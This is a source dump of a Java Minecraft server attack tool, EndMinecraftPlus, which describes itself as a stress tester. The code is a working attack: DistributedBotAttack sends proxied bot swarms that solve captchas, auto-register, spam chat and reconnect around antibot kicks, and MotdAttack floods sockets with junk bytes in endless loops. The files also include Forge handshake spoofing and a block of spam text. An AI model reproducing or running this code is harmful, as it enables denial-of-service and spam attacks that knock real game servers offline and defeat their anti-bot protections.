"网站发布广告设计制作代理发布广告货物进出口技术进出口代理进出口医疗软件技术开发委托生产电子产品玩具照相器材销售家用电器机械设备五金交电不含电动自行车电子产品文化用品照相器材计算机软件及辅助设备化妆品卫生用品体育用品纺织品服装鞋帽日用品家具首饰避孕器具工艺品钟表眼镜玩具汽车及摩托车配件仪器仪表塑料制品花草及观赏植物建筑材料通讯设备汽车电子产品器件和元件自行开发后的产品预防保健咨询公园门票文艺演出体育赛事展览会票务代理翻译服务通讯设备和电子产品的技术开发计算机系统服务车联网技术开发汽车电子产品设计研发制造北京市中心城区除外演出经纪人才中介服经营电信业务利用信息网络经营音乐娱乐产品演出剧节目动漫产品游戏产品含网络游戏虚拟货币发行表演网络游戏技法展示或解说网络文化经营许可证有效期至年月日因特网信息服务业务除出版教育医疗保健以外的内容图书电子出版物音像制品批发零售网上销售。市场主体依法自主选择经营项目开展经营活动演出经纪人才中介服务利用信息网络经营音乐娱乐产品演出剧节目动漫产品游戏产品含网络游戏虚拟货币发行表演网络游戏技法展示或解说经营电信业务以及依法须经批准的项目经相关部门批准后依批准的内容开展经营活动不得从事国家和本市产业政策禁止和限制类项目的经营活动"); 134 | return str; 135 | } 136 | 137 | public static String getdot() { 138 | String str = getsingleString(",.;_,。->", 8); 139 | return str; 140 | } 141 | 142 | } 143 | -------------------------------------------------------------------------------- /src/luohuayu/EndMinecraftPlus/proxy/ProxyPool.java: -------------------------------------------------------------------------------- 1 | package luohuayu.EndMinecraftPlus.proxy; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.File; 5 | import java.io.FileReader; 6 | import java.io.IOException; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | 10 | import luohuayu.EndMinecraftPlus.Utils; 11 | 12 | public class ProxyPool { 13 | public static List proxys = new ArrayList(); 14 | 15 | public static void getProxysFromFile(String filename) { 16 | try { 17 | File file = new File(filename); 18 | if (!file.exists()) 19 | return; 20 | BufferedReader reader = new BufferedReader(new FileReader(file)); 21 | String tempString = null; 22 | while ((tempString = reader.readLine()) != null) { 23 | proxys.add(tempString); 24 | } 25 | reader.close(); 26 | } catch (IOException e) { 27 | e.printStackTrace(); 28 | } 29 | Utils.log("Proxy", "从本地读取代理完成!数量:" + proxys.size()); 30 | } 31 | 32 | public static void runUpdateProxysTask(final int time) { 33 | new Thread(() -> { 34 | while (true) { 35 | Utils.sleep(time * 1000); 36 | synchronized (proxys) { 37 | proxys.clear(); 38 | } 39 | } 40 | }).start(); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/luohuayu/EndMinecraftPlus/tasks/attack/DistributedBotAttack.java: -------------------------------------------------------------------------------- 1 | package luohuayu.EndMinecraftPlus.tasks.attack; 2 | 3 | import java.io.InputStream; 4 | import java.io.OutputStream; 5 | import java.net.InetSocketAddress; 6 | import java.net.Proxy; 7 | import java.net.Socket; 8 | import java.net.Proxy.Type; 9 | import java.util.ArrayList; 10 | import java.util.HashMap; 11 | import java.util.List; 12 | import java.util.Random; 13 | import java.util.Scanner; 14 | import java.util.UUID; 15 | import java.util.concurrent.ExecutorService; 16 | import java.util.concurrent.Executors; 17 | 18 | import org.spacehq.mc.auth.data.GameProfile; 19 | import org.spacehq.mc.protocol.MinecraftProtocol; 20 | import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket; 21 | import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; 22 | import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket; 23 | import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket; 24 | import org.spacehq.packetlib.Client; 25 | import org.spacehq.packetlib.Session; 26 | import org.spacehq.packetlib.event.session.ConnectedEvent; 27 | import org.spacehq.packetlib.event.session.DisconnectedEvent; 28 | import org.spacehq.packetlib.event.session.DisconnectingEvent; 29 | import org.spacehq.packetlib.event.session.PacketReceivedEvent; 30 | import org.spacehq.packetlib.event.session.PacketSentEvent; 31 | import org.spacehq.packetlib.event.session.SessionListener; 32 | import org.spacehq.packetlib.tcp.TcpSessionFactory; 33 | import org.spacehq.packetlib.packet.*; 34 | import org.spacehq.mc.protocol.packet.ingame.client.player.ClientSwingArmPacket; 35 | import org.spacehq.mc.protocol.packet.ingame.client.player.ClientChangeHeldItemPacket; 36 | 37 | import luohuayu.EndMinecraftPlus.Utils; 38 | import luohuayu.EndMinecraftPlus.proxy.ProxyPool; 39 | import luohuayu.MCForgeProtocol.MCForge; 40 | import xyz.yuanpi.config; 41 | 42 | public class DistributedBotAttack extends IAttack { 43 | private Thread mainThread; 44 | private Thread tabThread; 45 | private Thread taskThread; 46 | private Thread spamThread; 47 | private Thread regThread; 48 | private Thread hhThread; 49 | String spammessage; 50 | 51 | public List clients = new ArrayList(); 52 | public ExecutorService pool = Executors.newCachedThreadPool(); 53 | 54 | public DistributedBotAttack(int time, int maxconnect, int joinsleep, boolean motdbefore, boolean tab, 55 | HashMap modList) { 56 | super(time, maxconnect, joinsleep, motdbefore, tab, modList); 57 | } 58 | 59 | public static Scanner scanner = new Scanner(System.in); 60 | Proxy.Type pType; 61 | String name; 62 | boolean custspam; 63 | boolean autoauth; 64 | boolean spam = true; 65 | boolean debug; 66 | boolean test; 67 | boolean ReconncetBypass; 68 | int ReconncetDelay; 69 | int spamdelay; 70 | int hhdelay; 71 | 72 | public void start(final String ip, final int port) { 73 | ReconncetDelay = config.toint(config.getValue("reconnectdelay")); 74 | ReconncetBypass = config.getBoolean("reconnectbypass"); 75 | spamdelay = config.toint(config.getValue("spamdelay")); 76 | hhdelay = config.toint(config.getValue("hhdelay")); 77 | debug = config.getBoolean("debug"); 78 | Utils.log("请输入名称前缀:如CNMD 末尾自动添加后缀"); 79 | name = config.getValue("name"); 80 | Utils.log("已选择:" + name); 81 | 82 | Utils.log("请选择代理类型:HTTP/SOCKS"); 83 | String pxty = config.getValue("pxtype"); 84 | switch (pxty) { 85 | case "http": 86 | pType = Type.HTTP; 87 | break; 88 | case "socks": 89 | pType = Type.SOCKS; 90 | break; 91 | default: 92 | Utils.log("输错了 傻逼"); 93 | stop(); 94 | 95 | } 96 | Utils.log("是否开启自动识别验证码 t/f"); 97 | autoauth = config.getBoolean("captcha"); 98 | Utils.log("是否开启刷屏 t/f"); 99 | spam = config.getBoolean("spam"); 100 | custspam = config.getBoolean("customspam"); 101 | if (custspam) { 102 | spammessage = config.getValue("custommessage"); 103 | 104 | } 105 | 106 | mainThread = new Thread(() -> { 107 | while (true) { 108 | try { 109 | cleanClients(); 110 | createClients(ip, port); 111 | Utils.sleep(1 * 1000); 112 | 113 | Utils.log("BotThread", "连接数:" + clients.size()); 114 | } catch (Exception e) { 115 | Utils.log("BotThread", e.getMessage()); 116 | } 117 | } 118 | }); 119 | regThread = new Thread(() -> { 120 | // int num = 0; 121 | // String passwd = "123123"; 122 | // while (num < 10) { 123 | // try { 124 | // synchronized (clients) { 125 | // clients.forEach(c -> { 126 | // if (c.getSession().isConnected()) { 127 | // if (c.getSession().hasFlag("join")) { 128 | // c.getSession().send(new ClientChatPacket("/reg " + passwd + " " + passwd)); 129 | 130 | // } 131 | // } 132 | // }); 133 | // } 134 | // num++; 135 | // Thread.sleep(2000); 136 | // } catch (Exception e1) { 137 | // // TODO: handle exception 138 | // } 139 | // } 140 | 141 | }); 142 | hhThread = new Thread(() -> { 143 | while (true) { 144 | try { 145 | synchronized (clients) { 146 | clients.forEach(c -> { 147 | if (c.getSession().isConnected() && c.getSession().hasFlag("join")) { 148 | c.getSession().send(new ClientChatPacket("/hh " + Utils.getRandomString(5, 10))); 149 | 150 | } 151 | }); 152 | } 153 | Thread.sleep(hhdelay); 154 | } catch (Exception e) { 155 | // TODO: handle exception 156 | Utils.log(e); 157 | } 158 | 159 | } 160 | }); 161 | 162 | spamThread = new Thread(() -> { 163 | while (true) { 164 | try { 165 | synchronized (clients) { 166 | clients.forEach(c -> { 167 | if (c.getSession().isConnected() && c.getSession().hasFlag("join")) { 168 | spammer(c.getSession(), spammessage); 169 | 170 | } 171 | }); 172 | } 173 | Thread.sleep(spamdelay); 174 | } catch (Exception e) { 175 | } 176 | 177 | } 178 | }); 179 | 180 | tabThread = new Thread(() -> { 181 | while (true) { 182 | synchronized (clients) { 183 | clients.forEach(c -> { 184 | if (c.getSession().isConnected()) { 185 | if (c.getSession().hasFlag("join")) { 186 | sendTab(c.getSession(), 187 | "//"); 188 | } 189 | } 190 | }); 191 | } 192 | Utils.sleep(100); 193 | } 194 | }); 195 | 196 | mainThread.start(); 197 | regThread.start(); 198 | spamThread.start(); 199 | hhThread.start(); 200 | 201 | if (tabThread != null) 202 | tabThread.start(); 203 | if (taskThread != null) 204 | taskThread.start(); 205 | 206 | } 207 | 208 | @SuppressWarnings("deprecation") 209 | public void stop() { 210 | mainThread.stop(); 211 | if (tabThread != null) 212 | tabThread.stop(); 213 | if (taskThread != null) 214 | taskThread.stop(); 215 | if (spamThread != null) 216 | spamThread.stop(); 217 | } 218 | 219 | public void setTask(Runnable task) { 220 | taskThread = new Thread(task); 221 | } 222 | 223 | private void cleanClients() { 224 | List waitRemove = new ArrayList(); 225 | synchronized (clients) { 226 | clients.forEach(c -> { 227 | if (!c.getSession().isConnected()) { 228 | waitRemove.add(c); 229 | } 230 | }); 231 | clients.removeAll(waitRemove); 232 | } 233 | } 234 | 235 | private void createClients(final String ip, int port) { 236 | synchronized (ProxyPool.proxys) { 237 | ProxyPool.proxys.forEach(p -> { 238 | try { 239 | String[] _p = p.split(":"); 240 | Proxy proxy = new Proxy(pType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); 241 | Client client = createClient(ip, port, name + Utils.getRandomString(4, 8), proxy); 242 | client.getSession().setReadTimeout(10 * 1000); 243 | client.getSession().setWriteTimeout(10 * 1000); 244 | synchronized (clients) { 245 | clients.add(client); 246 | } 247 | 248 | if (this.attack_motdbefore) { 249 | pool.submit(() -> { 250 | getMotd(proxy, ip, port); 251 | client.getSession().connect(false); 252 | }); 253 | } else { 254 | client.getSession().connect(false); 255 | } 256 | 257 | if (this.attack_joinsleep > 0) 258 | Utils.sleep(attack_joinsleep); 259 | } catch (Exception e) { 260 | Utils.log("BotThread/CreateClients", e.getMessage()); 261 | } 262 | }); 263 | } 264 | } 265 | 266 | public Client createClient(final String ip, int port, final String username, Proxy proxy) { 267 | GameProfile profile = new GameProfile(UUID.randomUUID(), username); 268 | Client client = new Client(ip, port, new MinecraftProtocol(profile, 269 | Utils.getRandomString(128, 128)), 270 | new TcpSessionFactory(proxy)); 271 | // Client client = new Client(ip, port, new MinecraftProtocol(username), new 272 | // TcpSessionFactory(proxy)); 273 | new MCForge(client.getSession(), this.modList).init(); 274 | client.getSession().addListener(new SessionListener() { 275 | public void packetReceived(PacketReceivedEvent e) { 276 | if (e.getPacket() instanceof ServerChatPacket) { 277 | ServerChatPacket packet = e.getPacket(); 278 | String message = packet.getMessage().toString(); 279 | if (debug) { 280 | Utils.log("[" + username + "]" + "[接收聊天]" + "[" + message + "]"); 281 | } 282 | if (message.contains("验证码")) { 283 | String[] c0des = message.split("你忘了把验证码放在最后: ", 2); 284 | String code = c0des[1]; 285 | String passwd = Utils.getRandomString(6, 12); 286 | Utils.log("Code is " + code + "---" + message); 287 | client.getSession().send(new ClientChatPacket("/reg " + passwd + " " + passwd + " " + code)); 288 | 289 | } 290 | if (message.contains("/reg")) { 291 | reg(client.getSession()); 292 | 293 | } 294 | if (message.contains("/login")) { 295 | client.getSession().send(new ClientChatPacket("/l 1234abcd")); 296 | } 297 | 298 | if (message.contains("tpserver") && !message.contains(name)) { 299 | client.getSession().send(new ClientChatPacket("/tpserver " + gethh(message))); 300 | 301 | } 302 | // boolean reg = message.contains("以注册") || message.contains("reg"); 303 | // if (reg) { 304 | // String passwd = Utils.getRandomString(8, 12); 305 | // client.getSession().send(new ClientChatPacket("/register " + passwd + " " + 306 | // passwd)); 307 | // } 308 | // if (true) { 309 | // // try to get authme code 310 | // boolean iscaptcha = message.contains("人机验证") || message.contains("captcha") 311 | // || message.contains("验证码"); 312 | // String[] code2 = message.split("/captcha ", 2); 313 | // int length = config.toint(config.getValue("authmelength")); 314 | // if (iscaptcha) { 315 | // String c0de = code2[1].substring(0, length); 316 | // if (debug) { 317 | // Utils.log("Captcha is:" + c0de); 318 | // } 319 | // client.getSession().send(new ClientChatPacket("/captcha " + c0de)); 320 | // } 321 | // } 322 | } 323 | 324 | if (e.getPacket() instanceof ServerJoinGamePacket) { 325 | e.getSession().setFlag("join", true); 326 | Utils.log("Client", "[连接成功][" + username + "]"); 327 | 328 | } 329 | } 330 | 331 | public void packetSent(PacketSentEvent e) { 332 | if (debug) { 333 | if (e.getPacket() instanceof ClientChatPacket) { 334 | ClientChatPacket packet = e.getPacket(); 335 | Utils.log("[Client]" + "[" + username + "]" + "[发送聊天]" + packet.getMessage()); 336 | } 337 | } 338 | } 339 | 340 | public void connected(ConnectedEvent e) { 341 | } 342 | 343 | public void disconnecting(DisconnectingEvent e) { 344 | } 345 | 346 | public void disconnected(DisconnectedEvent e) { 347 | String msg; 348 | if (e.getCause() != null) { 349 | msg = e.getCause().getMessage(); 350 | } else { 351 | msg = e.getReason(); 352 | } 353 | Utils.log("Client", "[断开][" + username + "] " + msg); 354 | String reason = e.getReason(); 355 | boolean blacklisted = reason.contains("已被") && reason.contains("黑名单"); 356 | boolean stats = reason.contains("重") || reason.contains("join") || reason.contains("antibot") 357 | || reason.contains("加入") || reason.contains("反") 358 | || reason.contains("等") || reason.contains("Reconnect") || reason.contains("enter"); 359 | if (stats && !blacklisted) { 360 | Utils.log("[" + username + "]正在重连......"); 361 | try { 362 | if (ReconncetBypass) { 363 | Random random = new Random(); 364 | Thread.sleep(ReconncetDelay + random.nextInt(2000)); 365 | } else { 366 | Thread.sleep(ReconncetDelay); 367 | 368 | } 369 | Client client1 = createClient(ip, port, username, proxy); 370 | client1.getSession().setReadTimeout(10 * 1000); 371 | client1.getSession().setWriteTimeout(10 * 1000); 372 | clients.add(client1); 373 | client1.getSession().connect(false); 374 | } catch (Exception e1) { 375 | Utils.log(e1); 376 | // TODO: handle exception 377 | } 378 | 379 | } 380 | if (blacklisted) { 381 | 382 | } 383 | } 384 | 385 | }); 386 | return client; 387 | 388 | } 389 | 390 | public boolean getMotd(Proxy proxy, String ip, int port) { 391 | try { 392 | Socket socket = new Socket(proxy); 393 | socket.connect(new InetSocketAddress(ip, port)); 394 | if (socket.isConnected()) { 395 | OutputStream out = socket.getOutputStream(); 396 | InputStream in = socket.getInputStream(); 397 | out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); 398 | out.write(new byte[] { 0x01, 0x00 }); 399 | out.flush(); 400 | in.read(); 401 | 402 | try { 403 | in.close(); 404 | out.close(); 405 | socket.close(); 406 | } catch (Exception e) { 407 | } 408 | 409 | return true; 410 | } 411 | socket.close(); 412 | } catch (Exception e) { 413 | } 414 | return false; 415 | } 416 | 417 | public void sendTab(Session session, String text) { 418 | try { 419 | // session.send((Packet) new ClientSwingArmPacket()); 420 | session.send((new ClientKeepAlivePacket(1))); 421 | } catch (Exception e) { 422 | } 423 | } 424 | 425 | public void spammer(Session session, String message) { 426 | if (!custspam) { 427 | message = Utils.getclnmsl(); 428 | } 429 | session.send((Packet) new ClientChatPacket(message + Utils.getRandomString(3, 5))); 430 | } 431 | 432 | public void reg(Session session) { 433 | try { 434 | String passwd = Utils.getRandomString(8, 8); 435 | session.send( 436 | new ClientChatPacket("/reg " + passwd + " " + passwd)); 437 | // String email; 438 | // email = Utils.getRandomString(4, 8) + "@163.com"; 439 | // session.send(new ClientChatPacket("/emailplus bind " + email)); 440 | // session.send(new ClientChatPacket("/email add " + email + "@163.com " 441 | // + email + "@163.com")); 442 | // Thread.sleep(3000); 443 | // session.send(new ClientChatPacket("/hub")); 444 | // session.send(new ClientChatPacket("/lobby")); 445 | } catch (Exception e) { 446 | e.printStackTrace(); 447 | } 448 | 449 | } 450 | 451 | public static String gethh(String msgString) { 452 | String[] token = msgString.split("/tpserver ", 2); 453 | String[] token1 = token[1].split("\"}", 2); 454 | return token1[0]; 455 | 456 | } 457 | } 458 | -------------------------------------------------------------------------------- /src/luohuayu/EndMinecraftPlus/tasks/attack/IAttack.java: -------------------------------------------------------------------------------- 1 | package luohuayu.EndMinecraftPlus.tasks.attack; 2 | 3 | import java.util.HashMap; 4 | 5 | public abstract class IAttack { 6 | public int attack_mode; 7 | public int attack_time; 8 | public int attack_maxconnect; 9 | public int attack_joinsleep; 10 | public boolean attack_motdbefore; 11 | public boolean attack_tab; 12 | 13 | public HashMap modList; 14 | 15 | public IAttack(int time,int maxconnect,int joinsleep,boolean motdbefore,boolean tab,HashMap modList) { 16 | this.attack_time=time; 17 | this.attack_maxconnect=maxconnect; 18 | this.attack_joinsleep=joinsleep; 19 | this.attack_motdbefore=motdbefore; 20 | this.attack_tab=tab; 21 | this.modList=modList; 22 | } 23 | 24 | public abstract void start(String ip,int port); 25 | public abstract void stop(); 26 | } 27 | -------------------------------------------------------------------------------- /src/luohuayu/EndMinecraftPlus/tasks/attack/MotdAttack.java: -------------------------------------------------------------------------------- 1 | package luohuayu.EndMinecraftPlus.tasks.attack; 2 | 3 | import java.io.IOException; 4 | import java.io.OutputStream; 5 | import java.net.InetSocketAddress; 6 | import java.net.Socket; 7 | import java.util.ArrayList; 8 | import java.util.HashMap; 9 | import java.util.List; 10 | 11 | import luohuayu.EndMinecraftPlus.Utils; 12 | 13 | public class MotdAttack extends IAttack { 14 | public List threads=new ArrayList(); 15 | 16 | public MotdAttack(int time,int maxconnect,int joinsleep,boolean motdbefore,boolean tab,HashMap modList) { 17 | super(time, maxconnect, joinsleep, motdbefore, tab, modList); 18 | } 19 | 20 | public void start(final String ip,final int port) { 21 | Runnable task=()->{ 22 | while(true) 23 | { 24 | try { 25 | Socket socket = new Socket(); 26 | socket.connect(new InetSocketAddress(ip,port)); 27 | if(socket.isConnected()) { 28 | Utils.log("Motd/"+Thread.currentThread().getName(),"连接成功"); 29 | OutputStream out = socket.getOutputStream(); 30 | out.write(new byte[] {0x07,0x00,0x05,0x01,0x30,0x63,(byte)0xDD,0x01}); 31 | out.flush(); 32 | while(socket.isConnected()) { 33 | for(int i=0; i<10; i++) { 34 | out.write(new byte[] {0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00}); 35 | } 36 | out.flush(); 37 | } 38 | try { 39 | out.close(); 40 | socket.close(); 41 | } catch (IOException e) {} 42 | Utils.log("Motd/"+Thread.currentThread().getName(),"已断开"); 43 | Utils.sleep(1000); 44 | } 45 | } catch (Exception e) { 46 | Utils.log("Motd/"+Thread.currentThread().getName(),e.getMessage()); 47 | e.printStackTrace(); 48 | } 49 | } 50 | }; 51 | 52 | if(this.attack_maxconnect<1) this.attack_maxconnect=10; 53 | 54 | for(int i=0; i{ 65 | thread.stop(); 66 | }); 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /src/luohuayu/MCForgeProtocol/MCForge.java: -------------------------------------------------------------------------------- 1 | package luohuayu.MCForgeProtocol; 2 | 3 | import java.lang.reflect.Field; 4 | import java.util.HashMap; 5 | 6 | import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; 7 | import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; 8 | import org.spacehq.packetlib.Session; 9 | import org.spacehq.packetlib.event.session.ConnectedEvent; 10 | import org.spacehq.packetlib.event.session.DisconnectedEvent; 11 | import org.spacehq.packetlib.event.session.DisconnectingEvent; 12 | import org.spacehq.packetlib.event.session.PacketReceivedEvent; 13 | import org.spacehq.packetlib.event.session.PacketSentEvent; 14 | import org.spacehq.packetlib.event.session.SessionListener; 15 | 16 | public class MCForge { 17 | private MCForgeHandShake handshake; 18 | 19 | public HashMap modList; 20 | public Session session; 21 | 22 | public MCForge(Session session,HashMap modList) { 23 | this.modList=modList; 24 | this.session=session; 25 | this.handshake=new MCForgeHandShake(this); 26 | } 27 | 28 | public void init() { 29 | this.session.addListener(new SessionListener() { 30 | public void packetReceived(PacketReceivedEvent e) { 31 | if(e.getPacket() instanceof ServerPluginMessagePacket) { 32 | handle(e.getPacket()); 33 | } 34 | } 35 | public void packetSent(PacketSentEvent e){} 36 | public void connected(ConnectedEvent e){ 37 | modifyHost(); 38 | } 39 | public void disconnecting(DisconnectingEvent e){} 40 | public void disconnected(DisconnectedEvent e){} 41 | }); 42 | } 43 | 44 | public void handle(ServerPluginMessagePacket packet) { 45 | switch(packet.getChannel()) { 46 | case "FML|HS": 47 | this.handshake.handle(packet); 48 | break; 49 | case "REGISTER": 50 | this.session.send(new ClientPluginMessagePacket("REGISTER",packet.getData())); 51 | break; 52 | case "MC|Brand": 53 | this.session.send(new ClientPluginMessagePacket("MC|Brand","fml,forge".getBytes())); 54 | break; 55 | } 56 | } 57 | 58 | public void modifyHost() { 59 | try { 60 | Class cls=this.session.getClass().getSuperclass(); 61 | 62 | Field field=cls.getDeclaredField("host"); 63 | field.setAccessible(true); 64 | 65 | field.set(this.session, this.session.getHost()+"\0FML\0"); 66 | } catch (SecurityException | IllegalArgumentException | IllegalAccessException | NoSuchFieldException e) { 67 | e.printStackTrace(); 68 | } 69 | } 70 | 71 | public static boolean isVersion1710() { 72 | try { 73 | Class cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants"); 74 | if (cls!=null) { 75 | Field field=cls.getDeclaredField("PROTOCOL_VERSION"); 76 | int protocol=field.getInt(cls.newInstance()); 77 | return (protocol==5); 78 | }else{ 79 | return false; 80 | } 81 | } catch (Exception e) { 82 | return false; 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/luohuayu/MCForgeProtocol/MCForgeHandShake.java: -------------------------------------------------------------------------------- 1 | package luohuayu.MCForgeProtocol; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; 6 | import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; 7 | import org.spacehq.packetlib.Session; 8 | import org.spacehq.packetlib.io.stream.StreamNetOutput; 9 | 10 | public class MCForgeHandShake{ 11 | private MCForge forge; 12 | 13 | public MCForgeHandShake(MCForge forge) { 14 | this.forge=forge; 15 | } 16 | 17 | public void handle(ServerPluginMessagePacket packet) { 18 | Session session=forge.session; 19 | 20 | byte[] data=packet.getData(); 21 | int packetID=data[0]; 22 | 23 | switch(packetID) { 24 | case 0: //Hello 25 | sendPluginMessage(session,"FML|HS",new byte[]{0x01, 0x02}); 26 | 27 | //ModList 28 | ByteArrayOutputStream buf=new ByteArrayOutputStream(); 29 | StreamNetOutput out=new StreamNetOutput(buf); 30 | try { 31 | out.writeVarInt(2); 32 | out.writeByte(forge.modList.size()); 33 | forge.modList.forEach((k, v) -> { 34 | try { 35 | out.writeString(k); 36 | out.writeString(v); 37 | } catch (IOException e) { 38 | e.printStackTrace(); 39 | } 40 | }); 41 | } catch (IOException e) { 42 | e.printStackTrace(); 43 | } 44 | sendPluginMessage(session,"FML|HS",buf.toByteArray()); 45 | break; 46 | case 2: //ModList 47 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x02}); //ACK(WAITING SERVER DATA) 48 | break; 49 | case 3: //RegistryData 50 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x03}); //ACK(WAITING SERVER COMPLETE) 51 | break; 52 | case -1: //HandshakeAck 53 | int ackID=data[1]; 54 | switch(ackID) { 55 | case 2: //WAITING CACK 56 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x04}); //PENDING COMPLETE 57 | break; 58 | case 3: //COMPLETE 59 | sendPluginMessage(session,"FML|HS",new byte[]{-0x1, 0x05}); //COMPLETE 60 | break; 61 | default: 62 | } 63 | default: 64 | } 65 | } 66 | 67 | private void sendPluginMessage(Session session,String channel,byte[] data) { 68 | session.send(new ClientPluginMessagePacket(channel,data)); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/luohuayu/MCForgeProtocol/MCForgeInject.java: -------------------------------------------------------------------------------- 1 | package luohuayu.MCForgeProtocol; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import javassist.CtMethod; 6 | 7 | public class MCForgeInject { 8 | public static boolean inject() { 9 | try { 10 | if(MCForge.isVersion1710()) { 11 | injectPluginMessage(); 12 | injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read", "{$1.readBytes($1.available());return;}"); 13 | injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket", "read", "{$1.readBytes($1.available());return;}"); 14 | injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket", "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}"); 15 | } 16 | return true; 17 | } catch (Exception e) { 18 | return false; 19 | } 20 | } 21 | 22 | public static void injectPluginMessage() throws Exception { 23 | ClassPool classPool=ClassPool.getDefault(); 24 | CtClass ctClass=classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket"); 25 | CtMethod method=ctClass.getDeclaredMethod("read"); 26 | method.setBody("{this.channel=$1.readString();\n" + 27 | "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}"); 28 | ctClass.toClass(); 29 | } 30 | 31 | public static void injectTryCatch(String cls,String func,String code) throws Exception { 32 | ClassPool classPool=ClassPool.getDefault(); 33 | CtClass ctClass=classPool.get(cls); 34 | CtMethod method=ctClass.getDeclaredMethod(func); 35 | method.addCatch(code, classPool.get("java.lang.Exception")); 36 | ctClass.toClass(); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/luohuayu/MCForgeProtocol/MCForgeUtils.java: -------------------------------------------------------------------------------- 1 | package luohuayu.MCForgeProtocol; 2 | 3 | import java.io.IOException; 4 | 5 | import org.spacehq.packetlib.io.NetInput; 6 | 7 | public class MCForgeUtils { 8 | public static int readVarShort(NetInput in) throws IOException { 9 | int low = in.readUnsignedShort(); 10 | int high = 0; 11 | if ((low & 0x8000) != 0) { 12 | low = low & 0x7FFF; 13 | high = in.readUnsignedByte(); 14 | } 15 | return ((high & 0xFF) << 15) | low; 16 | } 17 | 18 | public static UnknowPacket createUnknowPacket() { 19 | try { 20 | return UnknowPacket.class.newInstance(); 21 | } catch (Exception e) { 22 | return null; 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/luohuayu/MCForgeProtocol/UnknowPacket.java: -------------------------------------------------------------------------------- 1 | package luohuayu.MCForgeProtocol; 2 | 3 | import java.io.IOException; 4 | 5 | import org.spacehq.packetlib.io.NetInput; 6 | import org.spacehq.packetlib.io.NetOutput; 7 | import org.spacehq.packetlib.packet.Packet; 8 | 9 | public class UnknowPacket implements Packet { 10 | public boolean isPriority() { 11 | return false; 12 | } 13 | 14 | public void read(NetInput in) throws IOException { 15 | in.readBytes(in.available()); 16 | } 17 | 18 | public void write(NetOutput out) throws IOException { 19 | 20 | } 21 | 22 | } 23 | -------------------------------------------------------------------------------- /src/me/alikomi/endminecraft/Main.java: -------------------------------------------------------------------------------- 1 | package me.alikomi.endminecraft; 2 | 3 | import java.io.IOException; 4 | import java.lang.reflect.InvocationTargetException; 5 | import java.util.Hashtable; 6 | import java.util.Properties; 7 | import java.util.Scanner; 8 | 9 | import xyz.yuanpi.PropsUtil; 10 | import xyz.yuanpi.config; 11 | import javax.naming.NamingException; 12 | import javax.naming.directory.Attribute; 13 | import javax.naming.directory.InitialDirContext; 14 | 15 | import luohuayu.EndMinecraftPlus.ASMInject; 16 | import luohuayu.EndMinecraftPlus.Utils; 17 | import luohuayu.EndMinecraftPlus.proxy.ProxyPool; 18 | import luohuayu.EndMinecraftPlus.tasks.attack.DistributedBotAttack; 19 | import luohuayu.MCForgeProtocol.MCForgeInject; 20 | import java.util.HashMap; 21 | import luohuayu.EndMinecraftPlus.tasks.attack.IAttack; 22 | 23 | public class Main extends Utils { 24 | private static String ip; 25 | public static int port = 25565; 26 | static String mode; 27 | 28 | public static Scanner scanner = new Scanner(System.in); 29 | 30 | public static void main(String[] args) throws InterruptedException, IOException, IllegalAccessException, 31 | InstantiationException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, 32 | ClassNotFoundException, NamingException { 33 | ASMInject.inject(); 34 | MCForgeInject.inject(); 35 | getInfo(); 36 | showMenu(); 37 | } 38 | 39 | private static void getInfo() throws NamingException { 40 | config.readconfig("config.properties"); 41 | 42 | ip = config.getValue("ip"); 43 | port = config.toint(config.getValue("port")); 44 | mode = config.getValue("mode"); 45 | 46 | log("欢迎使用EndMinecraft压测程序", "", "======================="); 47 | Hashtable hashtable = new Hashtable(); 48 | hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory"); 49 | hashtable.put("java.naming.provider.url", "dns:"); 50 | try { 51 | Attribute qwqre = (new InitialDirContext(hashtable)) 52 | .getAttributes((new StringBuilder()).append("_Minecraft._tcp.").append(ip).toString(), 53 | new String[] { "SRV" }) 54 | .get("srv"); 55 | if (qwqre != null) { 56 | String[] re = qwqre.get().toString().split(" ", 4); 57 | log("检测到SRV记录,自动跳转到SRV记录"); 58 | ip = re[3]; 59 | log("ip: " + ip); 60 | port = Integer.parseInt(re[2]); 61 | log("port: " + port); 62 | } 63 | } catch (Exception e) { 64 | } 65 | } 66 | 67 | private static void showMenu() throws IOException, InterruptedException { 68 | while (true) { 69 | log("请输入攻击方式:", "2 : 分布式假人攻击(集群压测)"); 70 | log("========================"); 71 | 